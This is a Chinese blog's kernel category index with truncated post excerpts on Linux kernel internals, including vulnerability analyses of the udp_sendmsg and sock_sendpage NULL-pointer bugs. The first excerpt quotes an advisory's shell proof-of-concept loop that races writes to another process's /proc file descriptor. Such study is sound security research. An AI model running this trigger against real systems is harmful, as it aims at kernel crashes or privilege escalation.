您正在查看 "Kernel" 分类下的文章
2009-11-10 09:29
漏洞公告是11.3号发出的, exp试了几个版本的都无效, 不过漏洞还是有的, 只是很难触发。公告上给出了一个poc:
http://www.nsfocus.net/vulndb/14025
while : ; do
{ echo y ; sleep 1 ; } | { while read ; do echo z$REPLY; done ; } &
PID=$!
OUT=$(ps -efl | grep 'sleep 1' | grep -v grep |
{ read PID REST ; echo $PID; } )
OUT="${OUT%% *}"
DELAY=$((RANDOM * 1000 / 32768))
usleep $((DELAY * 1000 + RANDOM % 1000 ))
echo n > /proc/$OUT/fd/1 |
2009-09-07 09:19
udp_sendmsg空指针漏洞分析 by wzt
漏洞描述:
由于Linux ipv4协议栈中udp_sendmsg()函数设计上存在缺陷, 导致struct rtable *rt以空指针形式传递给ip_append_data(), 从而引发kernel oops,
攻击者可以利用此漏洞提升进程权限。漏洞影响2.6.19以下的版本。
漏洞成因:
>> linux+v2.6.18/net/ipv4/udp.c
int udp_sendmsg(struct kiocb *iocb, struct sock *sk, struct msghdr *msg,
size_t len)
{
...
// rt被初始化成NULL
struct rtabl |
2009-08-19 12:00
Linux sock_sendpage空指针漏洞分析
>> linux-2.6.18/net/socket.c
static ssize_t sock_sendpage(struct file *file, struct page *page,
int offset, size_t size, loff_t *ppos, int more)
{
struct socket *sock;
int flags;
sock = file->private_data;
flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
if (more)
flags |= MSG_MORE;
return sock->ops->sendpage(sock, page, offset, size, flags);
}
sock_send |
2009-05-01 08:00
中断处理程序用到的所有数据有保存在当前进程的内核堆栈中(一般情况下),如果此时发生了
进程切换,中断处理程序将被阻塞, 当在一次发生进程切换时,不一定马上就换回来。比如当
发生一个键盘中断时,键盘处理程序正在进行,此时又恰好发生了进程抢占,切换到了另一个进程
中,假如那个进程不会引起内核的稳定,那么中断处理程序将一直阻塞,内禾根本就没法响应那个中断,
直到在一次发生进程切换。假设最后又切换回执行中断处理程序的那个进程中时,如果它的内核堆栈
受到了无意的破坏怎么办呢?那中断处理程序 |
2009-05-01 07:58
学习内核能干什么? 我个人的理解是:
1, 了解内核的具体工作细节, 对我们系统编程来说是非常有用处的, 比如你了解了某个系统调用在内核中是怎么实现, 用起来就会更加得心应手。
2, 学习内核的工作原理和具体实现细节, 本身就是一种挑战, 内核是个非常庞大的工程, 无论是从理论还是实现细节理解起来就是很有难度的, 如果我们能坚持的把内核中某个子模块完全的理解后, 一定会提升自己的自信心, 无论以后我们是做内核编程, 还是系统编程。
|
2009-05-01 07:57
深入理解Linux内存映射机制
一. 绪 论
二. X86的硬件寻址方法
三. 内核对页表的设置
四. 实例分析映射机制
一. 绪 论
我们经常在程序的反汇编代码中看到一些类似0x32118965这样的地址,操作系统中称为线性地址,或虚拟地址。虚拟地址有什么用?虚拟地址
又是如 |
2009-02-03 14:38
2008-11-06 08:17
我不是专业的kernel开发者, 只能利用业余时间来搞搞kernel, 很羡慕那些天天从事这方面的兄弟们。
从今天开始每天坚持2个小时来学习kernel,blog就当学习笔记了, 定时跟大家分享下我的学习成果。
从内存管理开始, 进一步完善对这块的理解! |
2008-08-10 10:22
.align 2
idt_48:
.word 256*8-1
|
2008-08-10 10:21
kernel
/*
* C-os V 0.0.6 (C) wzt 2007
|
|
|